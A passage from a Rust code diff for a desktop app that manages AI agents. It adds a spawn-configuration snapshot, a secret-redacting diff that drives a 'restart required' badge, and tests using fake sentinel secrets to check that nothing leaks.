pub model: Option, + pub provider: Option, + /// `None` when a user env override shadows `BUZZ_ACP_SESSION_TITLE`: spawn + /// writes the title BEFORE the user env layer, so the override is what + /// actually runs and it already reaches this snapshot through `env`. + /// Capturing the record-derived value under an override would badge a + /// rename that changes nothing. + pub session_title: Option, + pub auth_tag: Option, + pub respond_to: String, + /// `None` outside allowlist mode — spawn sets + /// `BUZZ_ACP_RESPOND_TO_ALLOWLIST` only there, so edits to a dormant list + /// must not badge. Normalized (trim/lowercase/dedup) as the env receives + /// it, so edits that don't survive normalization must not badge either. + pub respond_to_allowlist: Option>, + pub idle_timeout_seconds: Option, + pub max_turn_duration_seconds: Option, + pub parallelism: u32, +} + +impl SpawnConfigSnapshot { + /// Assemble the snapshot from values a spawn has already resolved. + pub(crate) fn from_inputs(inputs: SpawnConfigInputs<'_>) -> Self { + let SpawnConfigInputs { + record, + descriptor, + relay_url, + team_instructions, + system_prompt, + model, + provider, + } = inputs; + Self { + acp_command: record.acp_command.clone(), + command: descriptor.command.clone(), + args: descriptor.args.clone(), + mcp_command: known_acp_runtime(&descriptor.command) + .and_then(|runtime| runtime.mcp_command) + .unwrap_or("") + .to_string(), + env: descriptor.env.clone(), + relay_url: relay_url.to_string(), + team_instructions: team_instructions.map(str::to_string), + system_prompt: system_prompt.map(str::to_string), + model: model.map(str::to_string), + provider: provider.map(str::to_string), + session_title: (!descriptor.env.contains_key(SESSION_TITLE_ENV_VAR)) + .then(|| resolve_session_title(record.display_name.as_deref(), &record.name)) + .flatten(), + auth_tag: record.auth_tag.clone(), + respond_to: record.respond_to.as_str().to_string(), + respond_to_allowlist: (record.respond_to == super::types::RespondTo::Allowlist).then( + || { + // A list spawn would reject is captured raw: the stamped + // snapshot comes from a successful spawn, so any invalid + // edit correctly compares unequal. + super::types::validate_respond_to_allowlist(&record.respond_to_allowlist) + .unwrap_or_else(|_| record.respond_to_allowlist.clone()) + }, + ), + idle_timeout_seconds: record.idle_timeout_seconds, + max_turn_duration_seconds: record.max_turn_duration_seconds, + // Hash the effective parallelism so over-cap edits that don't change + // the running pool size (e.g. 10 → 8, both clamp to 5 on OpenClaw) + // do not raise a spurious "restart required" badge. Cap crossings + // (e.g. 8 → 3, where 3 is below the cap) do change the effective + // pool and must badge. The diff surface consequently displays the + // effective value — that is correct, it is what actually runs. + parallelism: super::effective_parallelism(&descriptor.command, record.parallelism), + } + } + + /// Canonical JSON projection — the single representation both the drift + /// comparison and the diff walk read, so a lit badge always has a + /// non-empty diff and vice versa. + /// + /// Infallible by the serialization invariants documented on the struct + /// (plain derive over strings, scalars, string maps, and string vectors); + /// a failure here is a broken invariant, never a runtime condition, so it + /// must not degrade into an empty diff. + pub(crate) fn canonical(&self) -> serde_json::Value { + serde_json::to_value(self).expect("SpawnConfigSnapshot serializes infallibly") + } +} + +impl std::fmt::Debug for SpawnConfigSnapshot { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!( + f, + "SpawnConfigSnapshot({})", + diff::redacted_canonical(&self.canonical()) + ) + } +} + +/// Snapshot the effective spawn configuration `record` would get if it were +/// started right now under the current `personas`/`teams`/`global`, resolving +/// a blank record relay against `workspace_relay`. +/// +/// Pure — no `AppHandle`, no disk, no keyring. This is the *prospective* side +/// of the comparison; the stamped side is built at spawn from the values that +/// actually fed the child's `Command`. +pub(crate) fn prospective_spawn_config_snapshot( + record: &ManagedAgentRecord, + personas: &[AgentDefinition], + teams: &[TeamRecord], + workspace_relay: &str, + global: &GlobalAgentConfig, +) -> SpawnConfigSnapshot { + // Prospective re-snapshot: apply the same `apply_persona_snapshot` the + // start/restore paths run right before spawning, so this describes what a + // restart would actually run. Idempotent, so a spawn-time stamp taken + // after those paths saved the record compares equal when nothing changed. + // The persona env itself arrives through the descriptor's layered env + // below; `persona_source_version` is set on the clone but is not an input. + let record = preview_prospective_persona_snapshot(record, personas); + let record = &record; + + // Resolve command, args, and env via the single typed descriptor — same + // path as spawn_agent_child. Dangling harness id falls back to the + // infallible record_agent_command (no-op: a dangling harness can't be + // spawned, so the snapshot never matters for that agent). + let descriptor = + crate::managed_agents::resolve_effective_harness_descriptor(record, personas, global) + .unwrap_or_else(|_| { + let command = crate::managed_agents::record_agent_command(record, personas); + let args = normalize_agent_args(&command, record.agent_args.clone()); + EffectiveHarnessDescriptor { + command, + args, + env: Default::default(), + } + }); + + // Prompt, model, and provider all come from ONE `resolve_effective_config` + // call — the SAME resolve `spawn_agent_child` performs for the env write, + // so env write and this badge cannot disagree. An orphaned link (missing + // definition) resolves as if all three were absent: `spawn_agent_child` + // refuses to spawn an orphan regardless, and `eligible_restart_diff` + // suppresses the badge for one. + let (prompt, model, provider) = match resolve_effective_config(record, personas, global) { + EffectiveConfigResult::Resolved(cfg) => { + (cfg.system_prompt.value, cfg.model.value, cfg.provider.value) + } + EffectiveConfigResult::OrphanedInstance { .. } => (None, None, None), + }; + + SpawnConfigSnapshot::from_inputs(SpawnConfigInputs { + record, + descriptor: &descriptor, + // Resolved, not stored: every record spawns on the workspace relay + // (legacy pins ignored), so a workspace relay change must badge. + relay_url: &crate::relay::effective_agent_relay_url(&record.relay_url, workspace_relay), + team_instructions: effective_team_instructions(record, teams).as_deref(), + system_prompt: prompt.as_deref(), + model: model.as_deref(), + provider: provider.as_deref(), + }) +} + +#[cfg(test)] +mod tests; diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs new file mode 100644 index 0000000000..a61eb92e2e --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff.rs @@ -0,0 +1,307 @@ +//! Redacted field-by-field diff of two [`SpawnConfigSnapshot`]s. +//! +//! The walk is generic over the snapshot's canonical JSON: it compares leaves +//! by path and emits one entry per inequality. Adding a field to +//! [`SpawnConfigSnapshot`] therefore reaches the UI with no change here — the +//! only per-path knowledge in this module is [`policy_for`], which decides how +//! a leaf may be *shown*, never which leaves are compared. +//! +//! Raw values drive comparison; redaction happens strictly afterwards, when +//! the serializable entry is built. Comparing masked forms would let two +//! secrets with colliding suffixes read as "no drift". + +use serde::Serialize; +use serde_json::{Map, Value}; + +use super::SpawnConfigSnapshot; +use crate::managed_agents::AcpAvailabilityStatus; + +/// Synthetic field id for adapter-availability drift, which lives outside the +/// snapshot: it describes the environment around the process, not the config +/// the process was spawned with. +const ADAPTER_AVAILABILITY_FIELD: &str = "adapter_availability"; + +const MASK: &str = "••••"; + +/// One changed field. `field` is a dotted path built from serde field names, +/// with dynamic map keys appended verbatim (`env.OPENAI_API_KEY`). The UI +/// humanizes it generically and must never switch on its value. +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct RestartDiffEntry { + pub field: String, + pub change: RestartChange, +} + +/// How a changed field is presented. The UI switches on `kind` — a closed set +/// — and renders any `field` path. +#[derive(Debug, Clone, PartialEq, Serialize)] +#[serde(tag = "kind", rename_all = "snake_case")] +pub enum RestartChange { + /// Safe scalar or array shown verbatim. `null` means absent. + Value { before: Value, after: Value }, + /// Large text shown as character counts only. `null` means absent. + Text { + before_chars: Option, + after_chars: Option, + }, + /// Secret-bearing leaf. `null` means absent. + Masked { + before: Option, + after: Option, + }, + /// Dynamic-map key present only on the new side. No payload — the value + /// would be secret-bearing and the key name alone is the useful signal. + Added, + /// Dynamic-map key present only on the old side. + Removed, +} + +/// How a leaf at `path` may be displayed. +#[derive(Clone, Copy, PartialEq)] +enum MaskPolicy { + /// Shown verbatim. + Plain, + /// Character counts only. + Text, + /// `••••` plus the last four characters when longer than eight. + MaskedSuffix, + /// `••••` and nothing else. + MaskedBare, +} + +/// The single redaction authority: the wire diff and the snapshot's `Debug` +/// both route every leaf through this. +/// +/// A new snapshot field needs an arm here only if it can carry a credential or +/// is too large to render; everything else falls through to `Plain`. +fn policy_for(path: &str) -> MaskPolicy { + match path { + // Arbitrary user text — a rendered before/after would be unbounded as + // well as unreadable. + "system_prompt" | "team_instructions" => MaskPolicy::Text, + // Arbitrary CLI arguments: `--token=...` is legal, so no part of the + // value may be disclosed. Same for the relay URL — `normalize_relay_url` + // rejects userinfo but deliberately preserves query strings, so + // `wss://relay.example/ws?token=...` is a valid value. + "args" | "relay_url" => MaskPolicy::MaskedBare, + // NIP-OA auth tag: a credential, but a suffix tells the user which tag + // they are looking at. + "auth_tag" => MaskPolicy::MaskedSuffix, + // Env values: consult the shared allowlist. Allowlisted keys (e.g. + // `BUZZ_AGENT_THINKING_EFFORT`) render plain so the user sees the + // actual enum values; every other env key stays masked. + _ if path.starts_with("env.") => { + let key = &path[4..]; + if crate::managed_agents::is_safe_to_reveal(key) { + MaskPolicy::Plain + } else { + MaskPolicy::MaskedSuffix + } + } + // Plain arm. Every path reaching it is already rendered verbatim in + // the runtime UI today: + // acp_command / command / mcp_command — resolved binary names + // session_title — display chrome + // model / provider — catalog ids + // respond_to / respond_to_allowlist — gate mode + pubkeys + // idle_timeout_seconds / max_turn_duration_seconds / parallelism + // — numeric limits + // adapter_availability — an enum variant name + _ => MaskPolicy::Plain, + } +} + +/// `••••` plus the last four characters, or a bare `••••` when the value is +/// short enough that a suffix would disclose too much of it. +/// +/// Character-based throughout: byte slicing can panic on a multi-byte value or +/// disclose the wrong suffix. +fn mask(value: &str) -> String { + let chars: Vec = value.chars().collect(); + match chars.len() { + len if len > 8 => format!("{MASK}{}", chars[len - 4..].iter().collect::()), + _ => MASK.to_string(), + } +} + +/// Character count of a text leaf; `None` when the leaf is absent. +fn char_count(value: &Value) -> Option { + match value { + Value::Null => None, + Value::String(text) => Some(text.chars().count()), + // Fail closed on an unexpected shape: count it, never show it. + other => Some(other.to_string().chars().count()), + } +} + +/// Masked rendering of a leaf; `None` when the leaf is absent. +fn masked(policy: MaskPolicy, value: &Value) -> Option { + match (policy, value) { + (_, Value::Null) => None, + (MaskPolicy::MaskedSuffix, Value::String(text)) => Some(mask(text)), + // Fail closed: an unexpected shape under a redacting policy still + // redacts rather than disclosing the raw value. + _ => Some(MASK.to_string()), + } +} + +fn change_for(policy: MaskPolicy, before: &Value, after: &Value) -> RestartChange { + match policy { + MaskPolicy::Plain => RestartChange::Value { + before: before.clone(), + after: after.clone(), + }, + MaskPolicy::Text => RestartChange::Text { + before_chars: char_count(before), + after_chars: char_count(after), + }, + MaskPolicy::MaskedSuffix | MaskPolicy::MaskedBare => RestartChange::Masked { + before: masked(policy, before), + after: masked(policy, after), + }, + } +} + +/// Lexicographically sorted union of both maps' keys, so entry order — and +/// therefore the UI's "first N plus and-N-more" truncation — is stable. +fn key_union<'a>(before: &'a Map, after: &'a Map) -> Vec<&'a str> { + let mut keys: Vec<&str> = before + .keys() + .chain(after.keys()) + .map(String::as_str) + .collect(); + keys.sort_unstable(); + keys.dedup(); + keys +} + +fn child_path(parent: &str, key: &str) -> String { + if parent.is_empty() { + key.to_string() + } else { + format!("{parent}.{key}") + } +} + +fn walk( + path: &str, + before: Option<&Value>, + after: Option<&Value>, + out: &mut Vec, +) { + match (before, after) { + (before, after) if before == after => {} + // Present on one side only. Struct fields are always present (`None` + // serializes as `null`), so this is dynamic-map membership. + (None, Some(_)) => out.push(RestartDiffEntry { + field: path.to_string(), + change: RestartChange::Added, + }), + (Some(_), None) => out.push(RestartDiffEntry { + field: path.to_string(), + change: RestartChange::Removed, + }), + (Some(Value::Object(before)), Some(Value::Object(after))) => { + for key in key_union(before, after) { + walk(&child_path(path, key), before.get(key), after.get(key), out); + } + } + // Everything else is a leaf: scalars, and arrays (atomic — `args` + // changed as a whole, never `args.0`). + (before, after) => out.push(RestartDiffEntry { + field: path.to_string(), + change: change_for( + policy_for(path), + before.unwrap_or(&Value::Null), + after.unwrap_or(&Value::Null), + ), + }), + } +} + +/// The redacted diff of two snapshots, in stable path order. +fn diff(before: &SpawnConfigSnapshot, after: &SpawnConfigSnapshot) -> Vec { + let mut entries = Vec::new(); + walk( + "", + Some(&before.canonical()), + Some(&after.canonical()), + &mut entries, + ); + entries +} + +fn availability_value(status: Option<&AcpAvailabilityStatus>) -> Value { + status + .and_then(|status| serde_json::to_value(status).ok()) + .unwrap_or(Value::Null) +} + +/// What a tracked runtime was launched with, paired with what a launch would +/// use now. Absent (`None` at the call site) for every agent this workspace +/// tracks no live pair for — stopped, or `runtime_pid`-adopted across an app +/// restart, whose spawn config was never stamped and so can never be shown to +/// have drifted. +pub(crate) struct TrackedSpawnState<'a> { + pub stamped: &'a SpawnConfigSnapshot, + pub current: &'a SpawnConfigSnapshot, + pub stamped_availability: Option<&'a AcpAvailabilityStatus>, + pub current_availability: Option, +} + +/// The final restart-diff for one agent — the single source of both the wire +/// field and the badge, which is `!result.is_empty()`. +/// +/// Empty for an un-stamped agent (see [`TrackedSpawnState`]) and for an +/// orphaned instance: `spawn_agent_child` refuses to spawn an orphan before +/// any side effect, so "Restart required" would offer an action guaranteed to +/// fail. The UI surfaces `persona_orphaned` instead. +pub(crate) fn eligible_restart_diff( + persona_orphaned: bool, + tracked: Option>, +) -> Vec { + let Some(tracked) = tracked.filter(|_| !persona_orphaned) else { + return Vec::new(); + }; + let mut entries = diff(tracked.stamped, tracked.current); + if crate::managed_agents::availability_drift( + tracked.stamped_availability, + tracked.current_availability.clone(), + ) { + entries.push(RestartDiffEntry { + field: ADAPTER_AVAILABILITY_FIELD.to_string(), + change: RestartChange::Value { + before: availability_value(tracked.stamped_availability), + after: availability_value(tracked.current_availability.as_ref()), + }, + }); + } + entries +} + +/// The canonical snapshot with every leaf passed through [`policy_for`], +/// rendered as JSON text. Backs `SpawnConfigSnapshot`'s manual `Debug` so a +/// log line can never disclose what the wire diff redacts. +pub(crate) fn redacted_canonical(value: &Value) -> String { + fn redact(path: &str, value: &Value) -> Value { + match value { + Value::Object(fields) => Value::Object( + fields + .iter() + .map(|(key, child)| (key.clone(), redact(&child_path(path, key), child))) + .collect(), + ), + leaf => match policy_for(path) { + MaskPolicy::Plain => leaf.clone(), + MaskPolicy::Text => char_count(leaf).map_or(Value::Null, |count| { + Value::String(format!("<{count} chars>")) + }), + policy => masked(policy, leaf).map_or(Value::Null, Value::String), + }, + } + } + redact("", value).to_string() +} + +#[cfg(test)] +mod tests; diff --git a/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs new file mode 100644 index 0000000000..a7a8cab93e --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/diff/tests.rs @@ -0,0 +1,572 @@ +use super::*; +use std::collections::{BTreeMap, BTreeSet}; + +const SECRET: &str = "sk-live-SENTINEL-0000"; +const RELAY_WITH_TOKEN: &str = "wss://relay.example/ws?token=SENTINEL"; + +/// Every field populated, so mutating one to `None` is a real change and the +/// coverage guard below sees the full serialized key set. +fn base() -> SpawnConfigSnapshot { + SpawnConfigSnapshot { + acp_command: "buzz-acp".into(), + command: "goose".into(), + args: vec!["--mode".into(), "acp".into()], + mcp_command: "goose-mcp".into(), + env: BTreeMap::from([ + ("OPENAI_API_KEY".to_string(), SECRET.to_string()), + ("BUZZ_LOG".to_string(), "info".to_string()), + ]), + relay_url: "wss://relay.example".into(), + team_instructions: Some("Team says hello.".into()), + system_prompt: Some("You are a test agent.".into()), + model: Some("gpt-5".into()), + provider: Some("openai".into()), + session_title: Some("Fizz".into()), + auth_tag: Some("tag-abcdefgh".into()), + respond_to: "owner-only".into(), + respond_to_allowlist: Some(vec!["a".repeat(64)]), + idle_timeout_seconds: Some(600), + max_turn_duration_seconds: Some(7200), + parallelism: 1, + } +} + +fn fields(entries: &[RestartDiffEntry]) -> Vec<&str> { + entries.iter().map(|entry| entry.field.as_str()).collect() +} + +fn change_at<'a>(entries: &'a [RestartDiffEntry], field: &str) -> &'a RestartChange { + &entries + .iter() + .find(|entry| entry.field == field) + .unwrap_or_else(|| panic!("no entry for {field}; got {:?}", fields(entries))) + .change +} + +/// One mutation per snapshot field, keyed by the diff path it must produce. +type Mutation = (&'static str, fn(&mut SpawnConfigSnapshot)); + +fn mutations() -> Vec { + vec![ + ("acp_command", |s| s.acp_command = "other-acp".into()), + ("command", |s| s.command = "claude".into()), + ("args", |s| s.args = vec!["--other".into()]), + ("mcp_command", |s| s.mcp_command = String::new()), + ("env.OPENAI_API_KEY", |s| { + s.env + .insert("OPENAI_API_KEY".into(), "sk-live-rotated-9999".into()); + }), + ("relay_url", |s| s.relay_url = "wss://other.example".into()), + ("team_instructions", |s| s.team_instructions = None), + ("system_prompt", |s| s.system_prompt = None), + ("model", |s| s.model = None), + ("provider", |s| s.provider = None), + ("session_title", |s| s.session_title = None), + ("auth_tag", |s| s.auth_tag = None), + ("respond_to", |s| s.respond_to = "anyone".into()), + ("respond_to_allowlist", |s| s.respond_to_allowlist = None), + ("idle_timeout_seconds", |s| s.idle_timeout_seconds = None), + ("max_turn_duration_seconds", |s| { + s.max_turn_duration_seconds = None + }), + ("parallelism", |s| s.parallelism = 8), + ] +} + +#[test] +fn every_field_mutation_drifts_the_canonical_value_and_names_that_field() { + for (field, mutate) in mutations() { + let before = base(); + let mut after = base(); + mutate(&mut after); + + assert_ne!( + before.canonical(), + after.canonical(), + "{field}: mutation must move the canonical value the badge compares" + ); + assert_eq!( + fields(&diff(&before, &after)), + vec![field], + "{field}: mutation must produce exactly that field's entry" + ); + // Both directions: `None -> Some` must be as visible as `Some -> None`. + assert_eq!( + fields(&diff(&after, &before)), + vec![field], + "{field}: reverse mutation must be equally visible" + ); + } +} + +#[test] +fn mutation_table_covers_every_serialized_field() { + let covered: BTreeSet<&str> = mutations() + .iter() + .map(|(field, _)| field.split('.').next().expect("non-empty path")) + .collect(); + let canonical = base().canonical(); + let serialized: BTreeSet<&str> = canonical + .as_object() + .expect("snapshot serializes as an object") + .keys() + .map(String::as_str) + .collect(); + assert_eq!( + covered, serialized, + "add a mutation row for every new snapshot field" + ); +} + +#[test] +fn identical_snapshots_produce_no_entries() { + assert!(diff(&base(), &base()).is_empty()); +} + +#[test] +fn env_map_insertion_order_is_not_drift() { + let mut reordered = base(); + reordered.env = base().env.into_iter().rev().collect(); + assert!(diff(&base(), &reordered).is_empty()); +} + +#[test] +fn entries_are_ordered_lexicographically_by_path() { + let mut after = base(); + after.parallelism = 4; + after.command = "claude".into(); + after.env.insert("ZZZ".into(), "1".into()); + after.env.insert("AAA".into(), "1".into()); + assert_eq!( + fields(&diff(&base(), &after)), + vec!["command", "env.AAA", "env.ZZZ", "parallelism"] + ); +} + +// ── map membership vs. nullable struct fields ──────────────────────────── + +#[test] +fn env_key_insertion_is_added_without_a_payload() { + let mut after = base(); + after.env.insert("NEW_KEY".into(), SECRET.into()); + assert_eq!( + change_at(&diff(&base(), &after), "env.NEW_KEY"), + &RestartChange::Added + ); +} + +#[test] +fn env_key_removal_is_removed_without_a_payload() { + let mut after = base(); + after.env.remove("BUZZ_LOG"); + assert_eq!( + change_at(&diff(&base(), &after), "env.BUZZ_LOG"), + &RestartChange::Removed + ); +} + +#[test] +fn cleared_nullable_field_stays_a_value_change_not_a_removal() { + let mut after = base(); + after.model = None; + assert_eq!( + change_at(&diff(&base(), &after), "model"), + &RestartChange::Value { + before: Value::String("gpt-5".into()), + after: Value::Null, + } + ); +} + +#[test] +fn array_field_changes_as_one_atomic_leaf() { + let mut after = base(); + after.respond_to_allowlist = Some(vec!["b".repeat(64)]); + let entries = diff(&base(), &after); + assert_eq!(fields(&entries), vec!["respond_to_allowlist"]); + assert!(matches!( + change_at(&entries, "respond_to_allowlist"), + RestartChange::Value { .. } + )); +} + +#[test] +fn allowlisted_env_key_shows_plain_value() { + // BUZZ_AGENT_THINKING_EFFORT is on the safe-to-reveal allowlist — the user + // must be able to see actual enum values like "medium → high". + let mut before = base(); + before + .env + .insert("BUZZ_AGENT_THINKING_EFFORT".into(), "medium".into()); + let mut after = before.clone(); + after + .env + .insert("BUZZ_AGENT_THINKING_EFFORT".into(), "high".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.BUZZ_AGENT_THINKING_EFFORT"), + &RestartChange::Value { + before: Value::String("medium".into()), + after: Value::String("high".into()), + }, + "allowlisted env key must render plain before/after values" + ); +} + +#[test] +fn allowlisted_env_key_is_case_insensitive() { + // The allowlist comparison is case-insensitive; lowercase path must also + // render plain. + let mut before = base(); + before + .env + .insert("buzz_agent_provider".into(), "anthropic".into()); + let mut after = before.clone(); + after + .env + .insert("buzz_agent_provider".into(), "openai".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.buzz_agent_provider"), + &RestartChange::Value { + before: Value::String("anthropic".into()), + after: Value::String("openai".into()), + }, + "allowlist match must be case-insensitive" + ); +} + +#[test] +fn non_allowlisted_env_key_stays_masked() { + // A key not in the allowlist must remain masked regardless of its name. + let mut after = base(); + after + .env + .insert("SOME_API_KEY".into(), "sk-live-rotated-9999".into()); + // SOME_API_KEY is a new key — starts as Added, not a value change. + // Use an existing env key (OPENAI_API_KEY is in base()) to test masking. + let mut before = base(); + before + .env + .insert("OPENAI_API_KEY".into(), "sk-live-SENTINEL-0000".into()); + let mut after2 = before.clone(); + after2 + .env + .insert("OPENAI_API_KEY".into(), "sk-live-rotated-9999".into()); + assert!( + matches!( + change_at(&diff(&before, &after2), "env.OPENAI_API_KEY"), + RestartChange::Masked { .. } + ), + "non-allowlisted env key must stay masked" + ); +} + +// ── masking policy ─────────────────────────────────────────────────────── + +#[test] +fn env_value_longer_than_eight_chars_shows_a_four_char_suffix() { + let mut after = base(); + after + .env + .insert("OPENAI_API_KEY".into(), "abcdefghi".into()); + assert_eq!( + change_at(&diff(&base(), &after), "env.OPENAI_API_KEY"), + &RestartChange::Masked { + before: Some("••••0000".into()), + after: Some("••••fghi".into()), + } + ); +} + +#[test] +fn env_value_of_exactly_eight_chars_shows_no_suffix() { + let mut before = base(); + before + .env + .insert("OPENAI_API_KEY".into(), "abcdefgh".into()); + let mut after = before.clone(); + after.env.insert("OPENAI_API_KEY".into(), "12345678".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.OPENAI_API_KEY"), + &RestartChange::Masked { + before: Some("••••".into()), + after: Some("••••".into()), + } + ); +} + +#[test] +fn masking_counts_characters_not_bytes() { + // Nine two-byte characters: a byte-based length test would call this + // short, and byte slicing the last four would split a code point. + let mut before = base(); + before.env.insert("K".into(), "áéíóúàèìò".into()); + let mut after = before.clone(); + after.env.insert("K".into(), "áéíóúàèìá".into()); + assert_eq!( + change_at(&diff(&before, &after), "env.K"), + &RestartChange::Masked { + before: Some("••••àèìò".into()), + after: Some("••••àèìá".into()), + } + ); +} + +#[test] +fn args_are_masked_without_any_suffix() { + let mut after = base(); + after.args = vec![format!("--token={SECRET}")]; + assert_eq!( + change_at(&diff(&base(), &after), "args"), + &RestartChange::Masked { + before: Some("••••".into()), + after: Some("••••".into()), + } + ); +} + +#[test] +fn relay_url_is_masked_without_any_suffix() { + let mut after = base(); + after.relay_url = RELAY_WITH_TOKEN.into(); + assert_eq!( + change_at(&diff(&base(), &after), "relay_url"), + &RestartChange::Masked { + before: Some("••••".into()), + after: Some("••••".into()), + } + ); +} + +#[test] +fn auth_tag_is_masked_with_a_suffix() { + let mut after = base(); + after.auth_tag = Some("tag-ijklmnop".into()); + assert_eq!( + change_at(&diff(&base(), &after), "auth_tag"), + &RestartChange::Masked { + before: Some("••••efgh".into()), + after: Some("••••mnop".into()), + } + ); +} + +#[test] +fn large_text_fields_report_character_counts_only() { + let mut after = base(); + after.system_prompt = Some("Longer replacement prompt.".into()); + after.team_instructions = None; + let entries = diff(&base(), &after); + assert_eq!( + change_at(&entries, "system_prompt"), + &RestartChange::Text { + before_chars: Some("You are a test agent.".chars().count()), + after_chars: Some("Longer replacement prompt.".chars().count()), + } + ); + assert_eq!( + change_at(&entries, "team_instructions"), + &RestartChange::Text { + before_chars: Some("Team says hello.".chars().count()), + after_chars: None, + } + ); +} + +// ── secrecy sentinels ──────────────────────────────────────────────────── + +/// A snapshot whose every secret-bearing leaf carries a sentinel. +fn seeded_with_sentinels() -> SpawnConfigSnapshot { + let mut snapshot = base(); + snapshot.relay_url = RELAY_WITH_TOKEN.into(); + snapshot.args = vec![format!("--token={SECRET}")]; + snapshot.auth_tag = Some(SECRET.into()); + snapshot.env.insert("OPENAI_API_KEY".into(), SECRET.into()); + snapshot +} + +/// Every sentinel-bearing leaf changed, plus an added key, so each masking +/// arm has to redact a real value. +fn rotated_sentinels() -> SpawnConfigSnapshot { + let mut snapshot = seeded_with_sentinels(); + snapshot.relay_url = format!("{RELAY_WITH_TOKEN}2"); + snapshot.args = vec![format!("--token={SECRET}2")]; + snapshot.auth_tag = Some(format!("{SECRET}2")); + snapshot + .env + .insert("OPENAI_API_KEY".into(), format!("{SECRET}2")); + snapshot.env.insert("ADDED".into(), SECRET.into()); + snapshot +} + +#[test] +fn no_sentinel_reaches_the_serialized_diff() { + let entries = diff(&seeded_with_sentinels(), &rotated_sentinels()); + assert!(!entries.is_empty(), "fixture must actually drift"); + let wire = serde_json::to_string(&entries).expect("diff serializes"); + assert!(!wire.contains("SENTINEL"), "diff leaked a secret: {wire}"); + assert!( + !wire.contains("token="), + "diff leaked a query token: {wire}" + ); +} + +#[test] +fn no_sentinel_reaches_snapshot_debug_output() { + let rendered = format!("{:?}", seeded_with_sentinels()); + assert!(!rendered.contains("SENTINEL"), "Debug leaked: {rendered}"); + assert!(!rendered.contains("token="), "Debug leaked: {rendered}"); + // Large text is summarized rather than dumped. + assert!(!rendered.contains("You are a test agent.")); + // Non-secret leaves stay legible, or the log line is useless. + assert!(rendered.contains("goose")); +} + +#[test] +fn no_sentinel_reaches_the_owning_process_debug_output() { + // `ManagedAgentProcess` derives `Debug` and delegates to the snapshot's + // manual impl — this pins that the derive can never become the leak path. + #[cfg(unix)] + let program = "/usr/bin/true"; + #[cfg(windows)] + let program = "true"; + let child = std::process::Command::new(program) + .stdin(std::process::Stdio::null()) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .spawn() + .expect("spawn placeholder child"); + let process = crate::managed_agents::ManagedAgentProcess { + child, + log_path: std::path::PathBuf::new(), + spawn_config: seeded_with_sentinels(), + setup_mode: false, + adapter_availability: None, + start_nonce: "test-nonce".to_string(), + #[cfg(windows)] + job: None, + }; + let rendered = format!("{process:?}"); + assert!( + !rendered.contains("SENTINEL"), + "process Debug leaked a secret" + ); + assert!( + !rendered.contains("token="), + "process Debug leaked a query token" + ); +} + +// ── B1: the eligible vector is the single source of the badge ──────────── + +fn eligible( + orphaned: bool, + stamped: &SpawnConfigSnapshot, + current: &SpawnConfigSnapshot, + stamped_availability: Option, + current_availability: Option, +) -> (bool, Vec) { + let entries = eligible_restart_diff( + orphaned, + Some(TrackedSpawnState { + stamped, + current, + stamped_availability: stamped_availability.as_ref(), + current_availability, + }), + ); + (!entries.is_empty(), entries) +} + +#[test] +fn no_drift_yields_no_badge_and_no_entries() { + let (needs_restart, entries) = eligible(false, &base(), &base(), None, None); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn snapshot_drift_yields_a_badge_and_that_entry() { + let mut current = base(); + current.model = Some("claude-4".into()); + let (needs_restart, entries) = eligible(false, &base(), ¤t, None, None); + assert!(needs_restart); + assert_eq!(fields(&entries), vec!["model"]); +} + +#[test] +fn availability_drift_alone_yields_a_badge_and_its_synthetic_entry() { + let (needs_restart, entries) = eligible( + false, + &base(), + &base(), + Some(AcpAvailabilityStatus::Available), + Some(AcpAvailabilityStatus::AdapterOutdated), + ); + assert!(needs_restart); + assert_eq!(fields(&entries), vec!["adapter_availability"]); + assert_eq!( + change_at(&entries, "adapter_availability"), + &RestartChange::Value { + before: Value::String("available".into()), + after: Value::String("adapter_outdated".into()), + } + ); +} + +#[test] +fn orphan_with_snapshot_drift_yields_no_badge_and_no_entries() { + let mut current = base(); + current.model = Some("claude-4".into()); + let (needs_restart, entries) = eligible(true, &base(), ¤t, None, None); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn orphan_with_availability_drift_yields_no_badge_and_no_entries() { + let (needs_restart, entries) = eligible( + true, + &base(), + &base(), + Some(AcpAvailabilityStatus::Available), + Some(AcpAvailabilityStatus::AdapterOutdated), + ); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn unstamped_availability_is_not_drift() { + // A runtime without a version gate stamps no availability; comparing that + // absence against a freshly cached value must not invent a badge. + let (needs_restart, entries) = eligible( + false, + &base(), + &base(), + None, + Some(AcpAvailabilityStatus::AdapterOutdated), + ); + assert!(!needs_restart); + assert!(entries.is_empty()); +} + +#[test] +fn unstamped_agent_yields_no_badge_and_no_entries() { + // A `runtime_pid`-adopted process — and any agent this workspace tracks no + // live pair for — has no `ManagedAgentProcess`, so no spawn config was ever + // stamped. With nothing to compare against there is no drift to report, and + // the badge derives from that emptiness. Distinct from the case above, + // where a real pair IS tracked and only its availability stamp is absent. + for orphaned in [false, true] { + let entries = eligible_restart_diff(orphaned, None); + let needs_restart = !entries.is_empty(); + assert!( + entries.is_empty(), + "unstamped agent (orphaned={orphaned}) must report no changed fields" + ); + assert!( + !needs_restart, + "unstamped agent (orphaned={orphaned}) must not light the badge" + ); + } +} diff --git a/desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs b/desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs similarity index 63% rename from desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs rename to desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs index f4ad404814..1ceeee372f 100644 --- a/desktop/src-tauri/src/managed_agents/spawn_hash/tests.rs +++ b/desktop/src-tauri/src/managed_agents/spawn_snapshot/tests.rs @@ -2,6 +2,19 @@ use super::*; use 